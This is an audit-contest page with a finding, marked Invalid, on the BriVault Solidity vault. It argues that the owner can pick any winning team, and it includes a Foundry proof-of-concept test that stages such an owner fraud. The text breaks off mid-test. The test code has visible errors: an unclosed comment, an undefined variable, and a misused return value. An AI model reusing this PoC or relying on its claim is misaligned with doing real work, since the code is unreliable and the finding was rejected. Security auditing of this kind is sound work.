BriVault

First Flight #52

Beginner FriendlySolidity

100 EXP

View results

Previous Next

Submission Details

Impact: high

Likelihood: medium

Invalid

Centralization Risk: Arbitrary Winner Selection by Owner

scarcemrk

Description

The BriVault contract’s setWinner function grants the owner full control to arbitrarily select the winning team after the event, with no verification mechanism for the actual outcome. This centralization introduces a critical vulnerability:

Scenario: The owner can ignore the real-world result and declare any country as the winner, resulting in honest users losing their funds and manipulated winners receiving the vault.

function setWinner(uint256 countryIndex) public onlyOwner {

@> winner = teams[countryIndex]; // @> No verification of actual event result; owner can select any team

_setWinner = true;

winnerCountryId = countryIndex;

winnerTimestamp = block.timestamp;

emit WinnerSet(winner, winnerCountryId);

}

Risk

Likelihood: High

The vulnerability is trivially exploitable by the owner at any time, since no technical barriers or verification checks exist. All outcome control rests solely with the owner.

Impact: High

Honest users lose their funds if the owner manipulates the result. The protocol becomes untrustworthy, mimicking centralized or fraudulent betting platforms. Reputation damage and participant loss are inevitable, with no recourse for affected users.

Proof of Concept

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.24;

import {Test, console} from "forge-std/Test.sol";

import {BriVault} from "../../src/briVault.sol";

import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

import {MockERC20} from "../MockErc20.t.sol";

/**

* @title C-03: Centralization Risk - Arbitrary Winner Selection

* @notice Demonstrates owner can manipulate winner regardless of real-world outcome

contract C03_ArbitraryWinnerSelection is Test {

MockERC20 public mockToken;

BriVault public vault;

address owner = makeAddr("owner");

address ownerFriend = makeAddr("ownerFriend");

address feeAddress = makeAddr("feeAddress");

// Honest users who picked the correct team

address alice = makeAddr("alice");

address bob = makeAddr("bob");

address carol = makeAddr("carol");

address dave = makeAddr("dave");

address eve = makeAddr("eve");

// Users who picked the "wrong" team (but will be declared winners)

address frank = makeAddr("frank");

address grace = makeAddr("grace");

uint256 participationFeeBsp = 300; // 3%

uint256 eventStartDate;

uint256 eventEndDate;

uint256 minimumAmount = 1 ether;

string[48] countries = [

"Brazil", "Argentina", "France", "Germany", "Spain",

"Portugal", "England", "Netherlands", "Italy", "Croatia",

"Belgium", "Switzerland", "Denmark", "Poland", "Serbia",

"Sweden", "Austria", "Morocco", "Senegal", "Nigeria",

"Cameroon", "Egypt", "South Africa", "Ghana", "Algeria",

"Tunisia", "Ivory Coast", "Japan", "South Korea", "Australia",

"Iran", "Saudi Arabia", "Qatar", "United States", "Canada",

"Mexico", "Costa Rica", "Panama", "Ecuador", "Uruguay",

"Colombia", "Peru", "Chile", "New Zealand", "United Arab Emirates",

"Iraq", "Uzbekistan", "Jordan"

];

function setUp() public {

eventStartDate = block.timestamp + 2 days;

eventEndDate = eventStartDate + 31 days;

mockToken = new MockERC20("Mock Token", "MTK");

// Mint tokens to all users

mockToken.mint(alice, 200 ether);

mockToken.mint(bob, 300 ether);

mockToken.mint(carol, 250 ether);

mockToken.mint(dave, 150 ether);

mockToken.mint(eve, 100 ether);

mockToken.mint(frank, 50 ether);

mockToken.mint(grace, 50 ether);

mockToken.mint(ownerFriend, 100 ether);

}

function test_ArbitraryWinnerSelection_OwnerManipulation() public {

console.log("=== POC: Arbitrary Winner Selection - Owner Manipulation ===");

// Step 1: Deploy vault

console.log("\n--- Step 1: Vault Deployment ---");

vm.startPrank(owner);

vault = new BriVault(

IERC20(address(mockToken)),

participationFeeBsp,

eventStartDate,

feeAddress,

minimumAmount,

eventEndDate

);

vault.setCountry(countries);

vm.stopPrank();

console.log("Vault deployed");

console.log("Event: FIFA World Cup 2026");

console.log("countries[0]: Brazil");

console.log("countries[1]: Argentina");

// Step 2: Majority of users pick Brazil (the actual winner)

console.log("\n--- Step 2: Users Participate ---");

console.log("Real-world outcome: Brazil wins World Cup");

console.log("\nHonest users picking Brazil (90% of pool):");

uint256 totalBrazilDeposits = 0;

// Alice picks Brazil

vm.startPrank(alice);

mockToken.approve(address(vault), 200 ether);

vault.deposit(200 ether, alice);

vault.joinEvent(0); // Brazil

vm.stopPrank();

totalBrazilDeposits += 200 ether;

console.log(" Alice: 200 ETH -> Brazil");

// Bob picks Brazil

vm.startPrank(bob);

mockToken.approve(address(vault), 300 ether);

vault.deposit(300 ether, bob);

vault.joinEvent(0); // Brazil

vm.stopPrank();

totalBrazilDeposits += 300 ether;

console.log(" Bob: 300 ETH -> Brazil");

// Carol picks Brazil

vm.startPrank(carol);

mockToken.approve(address(vault), 250 ether);

vault.deposit(250 ether, carol);

vault.joinEvent(0); // Brazil

vm.stopPrank();

totalBrazilDeposits += 250 ether;

console.log(" Carol: 250 ETH -> Brazil");

// Dave picks Brazil

vm.startPrank(dave);

mockToken.approve(address(vault), 150 ether);

vault.deposit(150 ether, dave);

vault.joinEvent(0); // Brazil

vm.stopPrank();

totalBrazilDeposits += 150 ether;

console.log(" Dave: 150 ETH -> Brazil");

// Eve picks Brazil

vm.startPrank(eve);

mockToken.approve(address(vault), 100 ether);

vault.deposit(100 ether, eve);

vault.joinEvent(0); // Brazil

vm.stopPrank();

totalBrazilDeposits += 100 ether;

console.log(" Eve: 100 ETH -> Brazil");

// Step 3: Owner and friends pick Argentina (minority)

console.log("\nOwner and friends picking Argentina (10% of pool):");

uint256 totalArgentinaDeposits = 0;

// Frank picks Argentina

vm.startPrank(frank);

mockToken.approve(address(vault), 50 ether);

vault.deposit(50 ether, frank);

vault.joinEvent(1); // Argentina

vm.stopPrank();

totalArgentinaDeposits += 50 ether;

console.log(" Frank: 50 ETH -> Argentina");

// Grace picks Argentina

vm.startPrank(grace);

mockToken.approve(address(vault), 50 ether);

vault.deposit(50 ether, grace);

vault.joinEvent(1); // Argentina

vm.stopPrank();

totalArgentinaDeposits += 50 ether;

console.log(" Grace: 50 ETH -> Argentina");

// Owner's friend picks Argentina

vm.startPrank(ownerFriend);

mockToken.approve(address(vault), 100 ether);

vault.deposit(100 ether, ownerFriend);

vault.joinEvent(1); // Argentina

vm.stopPrank();

totalArgentinaDeposits += 100 ether;

console.log(" Owner's Friend: 100 ETH -> Argentina");

// Calculate pool breakdown

console.log("\n--- Pool Breakdown ---");

console.log("Total pool: ", totalDeposits / 1 ether, "ETH");

console.log("Brazil pool:", totalBrazilDeposits / 1 ether, "ETH");

console.log("Argentina pool:", totalArgentinaDeposits / 1 ether, "ETH");

// Step 4: Owner manipulates winner (ATTACK)

console.log("\n--- Step 3: Owner Manipulation (ATTACK) ---");

vm.warp(eventEndDate + 1);

console.log("Real-world outcome: Brazil wins");

console.log("Owner action: Declares Argentina as winner");

vm.prank(owner);

string memory declaredWinner = vault.setWinner(1); // Argentina (FRAUD!)

console.log("Declared winner:", declaredWinner);

console.log("Owner bypassed real-world verification!");

// Step 5: Honest users lose everything

console.log("\n--- Step 4: Honest Users Cannot Withdraw ---");

console.log("\nBrazil pickers (CORRECT prediction):");

vm.prank(alice);